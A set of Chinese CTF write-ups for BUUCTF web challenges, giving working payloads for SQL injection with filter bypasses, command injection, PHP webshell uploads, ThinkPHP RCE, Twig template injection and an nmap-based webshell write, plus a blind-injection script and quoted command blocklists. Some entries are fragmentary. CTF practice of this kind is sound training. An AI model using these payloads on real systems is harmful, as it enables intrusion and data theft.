BUUCTFweb做题记录

[HCTF 2018]WarmUp

打开网址是一张滑稽,没什么用,看一下源码,发现有注释。
在这里插入图片描述
访问source.php,直接给了源码,进行代码审计。
分两块,第一块是emmm::checkFile,里面做了一些判断。
第二块是一个include,文件包含,我们要绕过验证,也就是上面的checkFile方法。

测试hint.php
在这里插入图片描述
include触发的三个判断条件全为真时,include才执行。
checkFile为真
第一个if,page需要设置并且为字符串
第二个if,page需要在白名单中
_page是page从开始到?的位置截取的一段子串
第三个if,_page需要在白名单中
_page进行url解码
_page再进行相同截取
第四个if,_page需要在白名单中

现在假设payload为:?file=source.php?/…/ffffllllaaaagggg,经过mb_strpos为source.php?/…/ffffllllaaaagggg?,mb_strpos这个函数只返回首次出现的位置,所以会返回第一个?的位置,而mb_substr截取函数,从0开始截取一直到第一个?的位置,截取内容为source.php,恰好能与白名单中的进行匹配,可以return true;,所以通过第一次截取进行绕过
r执行payload:/?file=source.php?/…/ffffllllaaaagggg,发现没有显示flag,应该是不在这个目录,然后就不断加…/最后得到flag,payload为:/?file=source.php?/…/…/…/…/ffffllllaaaagggg

[强网杯 2019]随便注


之前的wp

[极客大挑战 2019]EasySQL

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
有闭合错误,所以尝试一下注入,万能密码输入’or 1

[极客大挑战 2019]Havefun

查看源码发现
在这里插入图片描述
然后在输入框中添加/?cat

[SUCTF 2019]EasySQL

随便试了一下,没闭合注入,我们使用堆叠注入吧
1;show databases;
在这里插入图片描述
再尝试输入1;show tables;
在这里插入图片描述
再尝试输入1;show columns;
在这里插入图片描述
发现不行;
百度到两种payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 和*,1 (这个是没有过滤*)
原理是:select $_GET[‘query’] || flag from flag

[ACTF2020 新生赛]Include

在这里插入图片描述
使用 “php://filter"伪协议” 来进行包含,然后构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
这里需要注意的是使用php

[极客大挑战 2019]Secret File

查看源码 点击Archive_room.php
在这里插入图片描述
在这里插入图片描述
有一个action.php,然后点击就到end.php
在这里插入图片描述
什么也没有 只好抓包了
在这里插入图片描述
访问secr3t.php
在这里插入图片描述
看了一下代码这个需要用文件包含,同上一道题使用伪协议
payload为:secr3t.php?file

[极客大挑战 2019]LoveSQL

用万能密码登录进去
在这里插入图片描述
进入,这个感觉像是一个编码,但是不是,后来发现是考察SQL注入
查询字段数:%23是#

/check.php?username=admin' order by 3%23&password=1

在这里插入图片描述
当字段数为3时,页面回显正常,使用union查询回显点位:

?username=1' union select 1,2,3%23&password=1

在这里插入图片描述
爆数据库

?username=1' union select 1,database(),3%23&password=1

在这里插入图片描述
爆表名

?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述
爆字段

?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

在这里插入图片描述

?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=1

在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
首先ping本地(127.0.0.1)
在这里插入图片描述
用管道符或者分号
我们首先来尝试管道符

?ip=127.0.0.1||ls 

在这里插入图片描述
可以看到回显有两个文件,flag.php和index.php,显然我们是需要查看flag.php里面的内容,用linux里面的命令cat

?ip=127.0.0.1||cat flag.php

在这里插入图片描述
提示说空格问题,那么我们先绕过空格,方法是替换为其他可以代表空格的字符,例如 ${IFS}

?ip=127.0.0.1||cat${IFS}flag.php

在这里插入图片描述
1fxck你的符号!
提示说{}问题,那换一个

?ip=127.0.0.1||cat$IFS$1flag.php

在这里插入图片描述
flag被过滤了,我们尝试去看index.php

?ip=127.0.0.1|cat$IFS$1index.php

在这里插入图片描述
法一:拼接绕过

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

法二:可以利用base64绕过
将cat flag.php base64编码Y2F0IGZsYWcucGhw

?ip=127.0.0.1||`echo$IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d`

法三:在bash被过滤的情况下可以尝试sh

?ip=127.0.0.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

[ACTF2020 新生赛]Exec

还是先和上面一样,稍有不同是这道题目使用了POST传参
ping一下127.0.0.1,可以然后执行127.0.0.1;cat /flag;
vv

[极客大挑战 2019]Knife

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在根目录找到flag

2018]easy_tornado

WP
在这里插入图片描述

[RoarCTF 2019]Easy Calc

在这里插入图片描述
尝试在输入框输入正常的计算式都能返回正常的结果
题目提示有waf,所以输入其他符号和字母都会跳出这是啥呀的弹框
F12看了一下页面的源码
发现计算是在calc.php里面计算的
在这里插入图片描述
url:“calc.php?num=”+encodeURIComponent($("#content").val()),
用的是:PHP的字符串解析特性

?num=phpinfo()
?%20num=phpinfo()

PHP字符串解析存在一个漏洞
php 会删除空格
php 会将一些符号转换为下划线

访问calc.php,直接给了源码
在这里插入图片描述
可以看见过滤了一些特殊字符,然后eval执行我们的命令。
我们先看根目录里面有什么东西,构造命令

/calc.php?%20num=var_dump(scandir(chr(47)))

var_dump是打印参数内容,scandir是查看参数目录里的内容和目录,chr(47)就是"/","/"被过滤了,我们使用chr(47)绕过
在这里插入图片描述
可以看到有一个f1agg,我们查看它的内容

/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
? num=var_dump(file_get_contents(chr(47).f1agg))

file_get_contents是将整个文件读入一个字符串
在这里插入图片描述

[极客大挑战 2019]Http

查看源码
在这里插入图片描述
点击这个链接
抓包
在这里插入图片描述
修改header添加一行:
Referer

极客大挑战 2019]Upload

在这里插入图片描述
上传一个一句话木马的jpg格式
在这里插入图片描述
我们就换一个一句话木马
新建一个文件后缀为:.phtml,写入一句话木马

GIF89a
<script language="php">eval($_POST['shell']);</script> 

上传,bp拦截一下
在这里插入图片描述
将Content-Type改为image/jpeg
在这里插入图片描述
然后蚁剑连接
/upload/6.phtml

在这里插入图片描述bmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70)

[极客大挑战 2019]BabySQL

先尝试万能密码1' or 1=1 # 显示ERROER
但是仔细观察报错语句,似乎没有看到or
在这里插入图片描述
猜测后端使用replace()函数过滤,尝试双写or:1' oorr 1=1 #
正常回显,看来我们猜测的不错。
在这里插入图片描述
测试字段数:1’ order by 3 #
在这里插入图片描述
order里面也有or,而且by也被过滤了,所以双写:1' oorrder bbyy 3 #
试下4:
在这里插入图片描述
说明字段数量为 3;
进行联合查询;1’ union select 1,2,database() #
在这里插入图片描述
看起来,union,select,都被过滤了;
更改命令:

`1' uniunionon selselectect 1,2,database() #`

在这里插入图片描述
表名:

`1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #`

在这里插入图片描述
查下b4bsql里面的列:

1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql" #

在这里插入图片描述
直接看username,password:

1' uniunionon selselectect 1,username,passwoorrd frfromom b4bsql #

在这里插入图片描述
然后想到可能找错库了,查看所有库:

1' uniunionon selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) #

在这里插入图片描述
查表名:

1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' #

在这里插入图片描述
查列:

`1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="Flag" #`

在这里插入图片描述
直接查看。

1' uniunionon selselectect 1,2,flag frfromom ctf.Flag #

在这里插入图片描述

法二:
爆当前数据库名

/check.php?username=1' uniunionon selselectect 1,2,database()%23&password=123

在这里插入图片描述
爆表:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=123

在这里插入图片描述
爆字段:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=123

在这里插入图片描述
爆数据:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,password) ffromrom b4bsql%23&password=123

在这里插入图片描述
我们改成passwoorrd:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql%23&password=123

在这里插入图片描述

[ACTF2020 新生赛]Upload

在这里插入图片描述
随意上传一个3.jpg文件(里面含有一句话木马),抓包,修改后缀名为phtml

在这里插入图片描述
连接蚁剑
在这里插入图片描述

[ACTF2020 新生赛]BackupFile

在这里插入图片描述
根据提示,是备份文件泄露
.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html
以上是备份文件后缀,我试了下www.zip不行,应该是别的,于是用dirsearch扫描目录
是index.php.bak

在这里插入图片描述
简单的弱类型绕过
就很简单了,get传入key,与一串开头为123的字符串比较。== 为弱比较,直接令key=123就可以。直接出flag。
在这里插入图片描述

[HCTF 2018]admin 正在做

弱密码
admin/123
在这里插入图片描述

[极客大挑战 2019]BuyFlag

在这里插入图片描述
在这里插入图片描述
让我们post过去一个money和一个password,password要等于404,并且password不能为数字,那好办我们可以用弱类型,即让password=404a。

抓包:
在这里插入图片描述
添加Cookie

[SUCTF 2019]CheckIn

上传一句话木马图片
在这里插入图片描述
对文件的内容进行了检查。所以,我们换一种木马形式。

<script language='php'>eval($_POST['shell']);</script>

用shell.phtml进行上传。
在这里插入图片描述
对后缀进行了验证

我们修改一下之前木马文件3.jpg

GIF89a
<script language='php'>assert($_POST['shell'];</script>

在这里插入图片描述

再上传一个.user.ini 文件,当我们对目录中的任何php文件进行访问时,都会调用.user.ini中指的文件以php的形式进行读取。
所以我们写一个.user.ini进行上传。(一定要加文件幻术头)

GIF89a
auto_prepend_file=3.jpg

在这里插入图片描述

上传成功。连接蚁剑。

2019]NiZhuanSiWei

进入题目,直接给出了php源码
在这里插入图片描述
看到有include文件包含,必然是解题的重点,所以先看第一个if,必须先满足它。
text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf
file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没没有一个文件,而是读取的text变量。没查到相关这方面的用法,特别是那个r参数。
而如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。
所以需要用方法绕过它,两种方法
php://input伪协议
此协议需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 ?test=php://input ,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用bp抓包。
看到有回显,可行。

data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似

?text=data:text/plain,welcome to the zjctf

在这里插入图片描述
也可以加上 base64 编码。

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

再看第二个if file不能有flag字符。没啥,往下看。

提示了有一个 useless.php ,想到之前说的PHP伪协议中的php://filter读取文件。尝试。

php://filter/read=convert.base64-encode/resource=useless.php

所以构造payload,成功回显

?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php     

在这里插入图片描述
base64解码,成功得到 useless.php 源码。

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

看到有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串。

<?php
class Flag{
    public $file="flag.php";
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$s = serialize(new Flag());
echo $s;
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终构造payload

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

[CISCN2019 华北赛区 Day2 Web1]Hack World

在这里插入图片描述
提示了存在flag表与flag列,先输入正常内容1:
在这里插入图片描述
可以得到正常的回显,再测试2:
在这里插入图片描述
再输入999,得到错误提示:
在这里插入图片描述
输入2-1时,得到注入提示:
在这里插入图片描述
在判断数值型和字符型注入时,可以通过提交数学式的方式,例如:id=2/2,字符型返回id=2的内容,数字型则返回id=1的结果。
输入2/2判断注入类型:
在这里插入图片描述
得到正常回显,猜测为数字型的盲注,使用length()方法测试:

(length(database())>4)

得到正常回显,即为1的结果:
在这里插入图片描述
当尝试<4时:
在这里插入图片描述
基本断定为数字型的布尔盲注。
通过后续的语句测试,好像过滤了(空格),所以采用()作为语句间的分隔

id=(ascii(substr((select(flag)from(flag)),0,1))<120)

可以成功,估算flag的长度为50,使用二分法盲注的Python3脚本爆出flag:

import requests


url = 'http://c6140ee3-6f16-4096-8f22-06ecaa6738ed.node3.buuoj.cn/index.php'
flag = ''

for i in range(1, 50):
    max = 127
    min = 0
    for c in range(0, 127):
        s = int((max + min) / 2)
        payload = '(ascii(substr((select(flag)from(flag)),%d,1))<%d)' % (i, s)
        r = requests.post(url, data={'id': payload})
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            max = s
        else:
            min = s
        if (max - min) <= 1:
            flag += chr(max-1)
            print(flag)
            break
print(flag)

题目限制了大部分函数与关键字,以及最重要的空格。

空格可以使用括号,即任何可以计算结果的语句都可以用括号包围起来;
Tab键、%09、%0a、%0b、%0c、/**/也可以作为空格
还可以使用1^异或这种方法:

1^1=0
0^0=0
1^0=1
即构造id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
这种形式也可以。

[极客大挑战 2019]HardSQL

在这里插入图片描述
经过手工测试过滤了and、= 空格 union等多个sql关键字

要思考如何绕过这些关键字去注入!

使用updatexml报错法注入
查数据库信息

/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

结果:geek
查表

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

结果:H4rDsq1
查字段

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21

结果:id,username,password
查数据

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21

结果:flagflag{acf5a8e4-5671-41f9-aa
用right()语句在查询后面部分

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

1-41f9-aa2d-12e51d69ddc3}
最后为:
flag{acf5a8e4-5671-41f9-aa2d-12e51d69ddc3}

extractvalue报错注入
爆数据库名

check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

爆表名

username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格,用like绕过了=

爆列名

username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#同上,语句不变改一下变量就行

找到flag

check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!

可是只显示了flag其中的一段。

剩下的用right()显示其他位数的

check.php?username=aaa&password=aaa'^extractvalue(1,rightconcat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!

[GYCTF2020]Blacklist

先1’
在这里插入图片描述
字符型注入
再输入

1' or '1'='1

在这里插入图片描述
联合注入
返回了过滤内容

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入
payload:
看表

1';show tables;#

在这里插入图片描述
看列
payload

1';show columns from `FlagHere`; %23

在这里插入图片描述
由于过滤了prepare和alert
我们可以用
HANDLER方法

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

在这里插入图片描述

[MRCTF2020]Ez_bypass

在这里插入图片描述
gg和id参数强比较,通过数组来绕过
在这里插入图片描述
is_numeric函数的作用是检测变量是否为数字或数字字符串,是则返回ture,反之。
使用hackbar的post传参,passwd

[RoarCTF 2019]Easy Java


)

在这里插入图片描述
尝试点击help发现
在这里插入图片描述
发现filename=help.docx有可能可以进行文件读取
在这里插入图片描述
文中提到,漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,再通过反编译class文件,得到网站源码。
尝试读取web.xml文件
在这里插入图片描述
那就来读取这个class文件,构造payload

?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述
ZmxhZ3syMmU4NTY4MS03ZDM2LTQyNjQtYWNlYi1kMjdmNDU4ZjY0YzF9Cg==
在这里插入图片描述

[GKCTF2020]cve版签到

在这里插入图片描述
这是一个信息泄露的漏洞,具体使用方法入下。
在这里插入图片描述
结合cve可知,get_headers()函数存在漏洞。通过\0截断,访问本地主机。经过尝试,题目这里需使用%00截断
再根据网页代码中给的提示开始构造payload
在这里插入图片描述

payload:
/?url=http://127.0.0.1%00.ctfhub.com

在这里插入图片描述

payload:
/?url=http://127.0.0.123%00.ctfhub.com

在这里插入图片描述

[GXYCTF2019]BabyUpload

GIF89a
<script language='php'>eval($_POST[cmd]);</script>

/var/www/html/upload/634804364a71ab27dca85781909d531f/3.jpg succesfully uploaded!
上传成功,蚁剑连接一下,在根目录找到flag

[BJDCTF 2nd]old-hack

在这里插入图片描述
题目提示thinkphp5
构造/index.php?s=1报错看看
在这里插入图片描述
看到版本号为5.0.23,搜索一波5.0.23漏洞
在这里插入图片描述
所以直接post

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

根目录里面找到flag

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

在这里插入图片描述

[BJDCTF2020]ZJCTF,不过如此

在这里插入图片描述
分析代码,get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议
源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。

于是构造payload

index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

在这里插入图片描述
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解码得:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

/e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。
俄罗斯套娃。

这篇文章就是讲这个的利用的。

于是构造Payload:

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

在这里插入图片描述

[BJDCTF2020]Cookie is so stable

什么是Twig模板注入

在这里插入图片描述
点击flag是一个登录界面
尝试经典{{77}}后判断是Twig模板注入
在这里插入图片描述
{{7
’7’}} 回显7777777 ==> Jinja2
{{7*‘7’}} 回显49 ==> Twig
在这里插入图片描述

题目提示cookie
在这里插入图片描述
user为注入点

payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

在这里插入图片描述
获取flag

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在这里插入图片描述

[BSidesCF 2020]Had a bad day

在这里插入图片描述
随便点一个试试
在这里插入图片描述
观察url,猜测sql注入
测试
在这里插入图片描述
弹出include报错,那就是文件包含了
直接读index的源码
payload

?category=php://filter/read=convert.base64-encode/resource=index

(有index.php却读取错误,报错显示无法打开流:操作失败在后面测试的时候,发现除掉后缀即可读取到源码)
在这里插入图片描述

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){//必须含有woofers或meowers或index字符串
						include ($file . '.php');//参数后拼接.php
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

原来是后面做了拼接,所以前面的poc才不能加.php
传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php
尝试直接读取/index.php?category=woofers/../flag
在这里插入图片描述
出现了别的内容,包含成功了flag.php,但是这里也说了flag需要读取
利用php://filter伪协议可以套一层协议读取flag.php

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

套一个字符index符合条件并且传入flag,读取flag.php
在这里插入图片描述
在这里插入图片描述

[第一章 web入门]afr_2

在这里插入图片描述
打开源码看到:
在这里插入图片描述
加上/img看到:
在这里插入图片描述
继续查看目录:
在这里插入图片描述
看到flag,下载下来看到:
在这里插入图片描述

[第一章 web入门]afr_1

在这里插入图片描述
根据题目我们知道考察的是** php://协议**
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

/?p=php://filter/convert.base64-encode/resource=flag

在这里插入图片描述
在这里插入图片描述

[第一章 web入门]SQL注入-1

在这里插入图片描述

-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23

在这里插入图片描述

-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables where table_schema='note'%23

在这里插入图片描述
-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns where table_name=‘fl4g’%23

在这里插入图片描述

[BUUCTF 2018]Online Tool

在这里插入图片描述
代码审计:
可以注意到escapeshellarg和escapeshellcmd两个不懂得函数

PHP escapeshellarg()+escapeshellcmd() 之殇
直接找到了上面这篇文章,这两个函数在一起用会有些问题

1.传入的参数是:172.17.0.2' -v -d a=1
2.经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
3.最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1’。

简单的来说就是两次转译后出现了问题,没有考虑到单引号的问题
然后往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
这有个system来执行命令,而且有传参,肯定是利用这里了
这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚

这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…

时候就只有想想能不能利用nmap来做些什么了。
这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

执行后会返回文件夹名在这里插入图片描述
连接:
在这里插入图片描述
在这里插入图片描述

[GXYCTF2019]BabyUpload

法一:
利用.htaccess文件上传,首先上传一个.htaccess文件

<FilesMatch "flag.png">
 SetHandler application/x-httpd-php
</FilesMatch>

这里注意,这道题不知道为什么,我这里只有用将一句话木马后缀改成png的时候才能用菜刀之类的连上,jpg后缀都不行。这里抓包上传的时候要注意修改Content-Type: image/jpeg
在这里插入图片描述
上传成功后,会返回上传的路径
之后上传flag.png文件,由于文件内容会过滤<?所以
就用js引用php绕过。

GIF89a
<script language='php'>eval($_POST[cmd]);</script>

在这里插入图片描述
在这里插入图片描述

法二

[GXYCTF2019]禁止套娃

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

git泄露源码,利用githack

python GitHack.py http://f947babc-b762-4a48-bbe9-8fe7414d39a8.node3.buuoj.cn/.git/
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

payload:

?exp=print_r(scandir(pos(localeconv())));

在这里插入图片描述
之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出
payload:

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

[安洵杯 2019]easy_web

在这里插入图片描述
打开链接,看到url不寻常,解密img参数
解密顺序:base64->base64->hex
结果:555.png

后面我们再反推回去得到index.php

import binascii
import base64
filename = input().encode(encoding='utf-8')
hex = binascii.b2a_hex(filename)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode())

在这里插入图片描述
访问:

http://4093671f-a317-46a0-9952-3c9dc586f177.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

源码里复制蓝色连接:
在这里插入图片描述
base64解码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

我们先看md5强类型的绕过:

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {

方法比较固定:

POST:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里过滤了大部分命令执行的语句

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))

